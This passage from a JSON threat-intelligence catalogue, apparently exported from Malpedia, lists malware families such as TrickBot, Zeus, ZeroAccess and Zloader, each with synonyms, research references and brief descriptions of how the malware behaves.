"type": [],
"refs": [
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"https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/",
"https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga",
"https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/",
"http://malware-traffic-analysis.net/2017/10/13/index.html"
]
},
"uuid": "56db8a46-a71b-4de1-a6b8-4312f78b8431",
"value": "SAGE",
"description": ""
},
{
"meta": {
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],
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"refs": [
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},
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},
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{
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"https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/",
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"https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/",
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"https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms",
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"https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html",
"https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/",
"https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf",
"http://www.malware-traffic-analysis.net/2018/02/01/",
"http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot",
"https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/",
"http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html",
"https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/",
"http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html",
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"value": "TrickBot",
"description": "A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.\r\n\r\n- Q4 2016 - Detected in wild\r\nOct 2016 - 1st Report\r\nJan 2018 - Use XMRIG (Monero) miner\r\nFeb 2018 - Theft Bitcoin\r\nMar 2018 - Unfinished ransomware module\r\n\r\nInfection Vector\r\n1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot\r\n2. Phish > Attached MS Office > Marco Enabled > Downloader > Trickbot\r\n3. Phish > Attached MS Office > Marco enabled > Trickbot installed"
},
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"type": [],
"refs": [
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"https://dragos.com/blog/trisis/TRISIS-01.pdf",
"https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf",
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"uuid": "b255fd2c-6ddb-452f-b660-c9f5d3a2ff63",
"value": "xsPlus",
"description": ""
},
{
"meta": {
"synonyms": [
"xaps"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel",
"https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/",
"https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf",
"https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf",
"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/",
"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"
]
},
"uuid": "53089817-6d65-4802-a7d2-5ccc3d919b74",
"value": "X-Tunnel",
"description": ""
},
{
"meta": {
"synonyms": [
"ShadowWalker"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm",
"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
]
},
"uuid": "1d451231-8b27-4250-b3db-55c5c8ea99cb",
"value": "xxmm",
"description": ""
},
{
"meta": {
"synonyms": [
"KeyBoy"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah",
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
]
},
"uuid": "a673b4fb-a864-4a5b-94ab-3fc4f5606cc8",
"value": "Yahoyah",
"description": ""
},
{
"meta": {
"synonyms": [
"bbsinfo",
"aumlib"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih",
"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html"
]
},
"uuid": "81157066-c2f6-4625-8070-c0a793d57e18",
"value": "yayih",
"description": ""
},
{
"meta": {
"synonyms": [
"DarkShare"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus",
"https://www.youtube.com/watch?v=AUGxYhE_CUY"
]
},
"uuid": "1cc9d450-88cd-435c-bb74-8410d2d22571",
"value": "YoungLotus",
"description": "Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.\r\n\r\nPE timestamps suggest that it came into existence in the second half of 2014.\r\n\r\nSome versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).\r\n"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.yty",
"https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/",
"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"
]
},
"uuid": "c0e8b64c-bd2c-4a3e-addc-0ed6cc1ba200",
"value": "yty",
"description": ""
},
{
"meta": {
"synonyms": [
"Zekapab"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy",
"https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/",
"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
]
},
"uuid": "973124e2-0d84-4be5-9c8e-3ff16bb43b42",
"value": "Zebrocy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3",
"https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
]
},
"uuid": "4a5f2088-18cb-426a-92e2-1eb752c294c0",
"value": "Zebrocy (AutoIT)",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou"
]
},
"uuid": "2211eade-4980-4143-acd7-5ecda26d9dfa",
"value": "Zedhou",
"description": ""
},
{
"meta": {
"synonyms": [
"Max++",
"Smiscer"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess",
"https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/",
"https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/",
"http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html",
"http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/",
"http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/",
"http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/",
"http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/",
"http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html"
]
},
"uuid": "c7ff274f-2acc-4ee2-b74d-f1def12918d7",
"value": "ZeroAccess",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil",
"https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/",
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil"
]
},
"uuid": "585f9f75-1239-4561-8815-c5ae033053a1",
"value": "ZeroEvil",
"description": "ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.\r\n\r\nIt first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=).\r\nSo far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.\r\n\r\nThe ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).\r\n"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot",
"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
]
},
"uuid": "9b0aa458-dfa9-48af-87ea-c36d1501376c",
"value": "ZeroT",
"description": ""
},
{
"meta": {
"synonyms": [
"Zbot"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus",
"http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html",
"http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html",
"https://www.secureworks.com/research/zeus?threat=zeus",
"https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20",
"https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite",
"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf",
"https://nakedsecurity.sophos.com/2010/07/24/sample-run/",
"http://eternal-todo.com/blog/zeus-spreading-facebook",
"http://eternal-todo.com/blog/new-zeus-binary",
"http://eternal-todo.com/blog/detecting-zeus",
"https://www.mnin.org/write/ZeusMalware.pdf",
"http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html",
"http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html",
"http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html",
"http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html",
"http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html",
"https://zeustracker.abuse.ch/monitor.php",
"http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html"
]
},
"uuid": "4e8c1ab7-2841-4823-a5d1-39284fb0969a",
"value": "Zeus",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer"
]
},
"uuid": "768f1ae5-81a6-49f2-87c1-821c247b4bf3",
"value": "Zeus MailSniffer",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx",
"https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/",
"https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/",
"https://securityintelligence.com/uk-banks-hit-with-new-zeus-sphinx-variant-and-renewed-kronos-banking-trojan-attacks/"
]
},
"uuid": "997c20b0-0992-498a-b69d-fc16ab2fd4e4",
"value": "Zeus Sphinx",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_ssl"
]
},
"uuid": "74fc6a3a-cc51-4065-bdd9-fcef18c988a0",
"value": "Zeus SSL",
"description": "The sample listed here was previously mislabeled and is now integrated into win.floki_bot. The family is to-be-updated once we have a \"real\" Zeus SSL sample."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin",
"https://twitter.com/siri_urz/status/923479126656323584",
"http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4877"
]
},
"uuid": "38de079b-cc4c-47b0-b47f-ad4c013d8a1f",
"value": "Zezin",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
]
},
"uuid": "3c74a04d-583e-40ec-b347-bdfeb534c614",
"value": "ZhCat",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
]
},
"uuid": "989330e9-52da-4489-888b-686429db3a45",
"value": "ZhMimikatz",
"description": ""
},
{
"meta": {
"synonyms": [
"Zeus Terdot"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader",
"https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/",
"https://labs.bitdefender.com/2017/11/terdot-zeus-based-malware-strikes-back-with-a-blast-from-the-past/",
"https://www.arbornetworks.com/blog/asert/great-dga-sphinx/"
]
},
"uuid": "13236f94-802b-4abc-aaa9-cb80cf4df9ed",
"value": "Zloader",
"description": "A banking trojan first observed in October 2016 has grown into a sophisticated hacking tool that works primarily as a banking trojan, but could also be used as an infostealer or backdoor."
},
{
"meta": {
"synonyms": [
"gresim"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zoxpng",
"http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf"
]
},
"uuid": "7078d273-8a2d-477a-b6d9-7313e22d9ad7",
"value": "ZoxPNG",
"description": ""
},
{
"meta": {
"synonyms": [
"Sensocode"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell",
"https://blogs.cisco.com/security/talos/opening-zxshell",
"https://blogs.rsa.com/cat-phishing/",
"https://github.com/smb01/zxshell"
]
},
"uuid": "23920e3b-246a-4172-bf9b-5e9f90510a15",
"value": "ZXShell",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon",
"https://www.fireeye.com/blog/threat-research/2018/01/microsoft-office-vulnerabilities-used-to-distribute-zyklon-malware.html"
]
},
"uuid": "721e9af0-8a60-4b9e-9137-c23e86d75722",
"value": "Zyklon",
"description": ""
}
],
"version": 1649,
"source": "Malpedia",
"name": "Malpedia",
"uuid": "5fc98d08-90a4-498a-ad2e-0edf50ef374e"
}
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